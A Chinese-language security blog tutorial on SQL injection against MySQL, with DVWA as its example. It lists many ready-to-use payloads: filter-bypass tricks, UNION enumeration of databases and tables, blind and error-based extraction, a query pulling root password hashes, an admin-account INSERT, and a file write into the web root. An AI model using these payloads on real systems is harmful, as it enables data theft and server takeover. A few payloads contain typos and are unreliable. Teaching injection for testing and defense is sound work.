web安全之sql注入
本期的【表哥有话说】是关于web安全方面的,不知道你有没有听说过SQL注入攻击,希望本期干货能让你对SQL注入攻击有进一步的了解,准备好了吗?手指往下滑,我们正式开始了!
0x00 SQL注入介绍
SQL注入攻击是最为常见的Web安全漏洞之一,常年霸占OWASP第一名,可见其危害十分大。
SQL注入是由于过滤不严,将构造的SQL语句插入或添加到应用(用户)的输入参数中,从而可以非法执行数据库命令的攻击,可以获取网站数据,严重的会直接控制服务器。
0x01 SQL注入原理
本篇文章就MySQL为例,其他数据库在这里就不做扩展了。所以说学习注入,首先要学好数据库语言。
我们来看DVWA中,SQL注入漏洞的关键代码
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' ";
这里是连接数据库的,在数据库执行的查询语句,我们构造参数插入SQL语句。
例如
?id=1' or 1=1 --
语句就变成了
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- ' ";
成功插入了 or 1=1,这样就会查询users表里所有的name
0x02 SQL注入技巧
注释
注释在SQL注入中是必不可少的,它可以帮助构造SQL语句,包括
行间注释:
- --(注意前后有空格)
- #
行内注释:
- /*注释内容*/ 在空格被过滤时,可以利用其替换空格
- /*!注释内容*/ 可以利用其测试数据库版本
编码
ASCII() 返回字符的ASCII码值
CHAR() 把整数转化为对应字符
HEX() UNHEX() 16进制编码解码
常用方法
USER() 当前数据库用户
database() 当前数据库名
version() 数据库版本
@@datadir 数据库存储数据路径
@@global.version_complie_os FROM mysql.user 操作系统版本
concat() 连接多条数据
group_concat() 与concat()类似
load_file() 读取文件
substr() mid() substring() 截取字段
information_scheam MySQL自带的数据库,包含其他所有数据库信息
绕过
为了保证安全性,防止SQL注入发生,程序员会做一些代码层的防护,比如过滤参数。然而有些过滤是可以进行绕过的,例如
- 空格被过滤,可以利用+,(),/**/绕过
- 单引号被过滤,可以对数据进行编码
- 查询语句被过滤,可以利用大写,或者selselectect尝试绕过 - 用,&&代替and,or
- 字符串黑名单,可以利用concat('a','d','m','i','n')绕过
除此之外还有很多。
0x03 SQL注入方法
判断注入点
在注入开始之前,需要先判断注入点存在。找到网站与数据库连接的地方,例如用户登录,信息搜索等。在参数后加',and 1=1,and 1=2 等进行测试
一般注入
判断返回字段个数
order by 2 --
查询当前数据库名及数据库版本
and 1=2 UNION SELECT database(),version() --
查询数据库
and 1=2 UNION SELECT 1,schema_name FROM information_schema.schemata --
查询表
and 1=2 UNION SELECT 1,table_name FROM information_scheam.tables WHEREtable_schema=数据库名的十六进制编码 --
查询列
and 1=2 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name=表名的十六进制编码 --
查询字段
and 1=2 UNION SELECT 1,字段FROM表名 --
判断是否具有读写权限
and (select count(*) from mysql.user)>0/*
写文件
union select 1,char(xx,xx,xx) into outfile '/var/www/html/1.php'/*
布尔盲注
在不返回字段 没有回显时,需要用到盲注。
猜解数据库长度
and length(database())>1 #
写脚本fuzz数据库名
and substr(database(),%d,1)='%s' %%23
过滤了单引号的话可以使用ascii()
and ascii(substr(database(),%d,1)=%d %%23)
利用正则REGEXP
1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
接下来查询表,字段结合一般注入,方法相同。
时间盲注
利用函数将返回时间延迟,从而得知语句查询是否正确。
sleep()延时
if(ascii(substr(database(),1,1))>115,0,sleep(5)) #
benchmark()延时,是将后面的函数执行多次,比较占用CPU,进行测试时不推荐用这种方法
UNION SELECTIF(SUBSTRING(Password,1,1)=’a’,BENCHMARK(100000,SHA1(1)) User,Password FROM mysql.user WHERE User = 'root'
报错注入
通过构造使信息从错误提示中回显。
利用floor()
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a
对xml数据进行查询和修改的xpath函数,xpath语法错误
updatexml(1,concat(0x3a,(select user())),1)
利用extractvalue()
extractvalue(1,concat(0x7e,(select @@version),0x7e))
报错函数,可以利用他们获取数据库名和表名
https://dev.mysql.com/doc/refman/5.7/en/gis-mysql-specific-functions.html
宽字节注入
如果php设置了编码
mysql_query("set NAMES'gbk'",$conn);
就会引发宽字节注入,例如 %df' 会被addslashes()转义为 %df\' url编码后为%df%5c%27 在gbk编码下认为其是一个宽字节 縗’ 就会产生注入
PDO堆查询注入
如果php使用PDO连接数据库,便可以使用堆查询,可以同时执行多个语句
SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('xxx', '123456','admin');
还有其他注入这里就不一一列举了。上述提到的注入,也有很多不同的方法,因为现实环境、代码的不同,注入语句也不尽相同。
0x04 SQL注入常用工具
sqlmap,自动化注入,自带很多绕过脚本,家常必备神器。
burpsuit,不多说了。
hackbar,Firefox插件,post注入很好用。
Pangolin,SQL注入漏洞测试安全工具。
0x05 SQL注入防护
既然SQL注入影响这么大,那么我们如何防护呢?
-定期进行代码审计,从根本上面解决SQL注入攻击。
- 一切的用户输入都是有害的,对用户的输入进行严格过滤。 - 使用SQL注入防护软件防护。 - 针对企业推荐使用硬件防火墙。
好了,今天的分享就这么多,感兴趣的同学可以参照推送的内容自己动手操作一下,亲自动手跟单纯浏览相比可是差很多哦,希望操作之后的你能有新的不一样的体会。
领取专属 10元无门槛券
私享最新 技术干货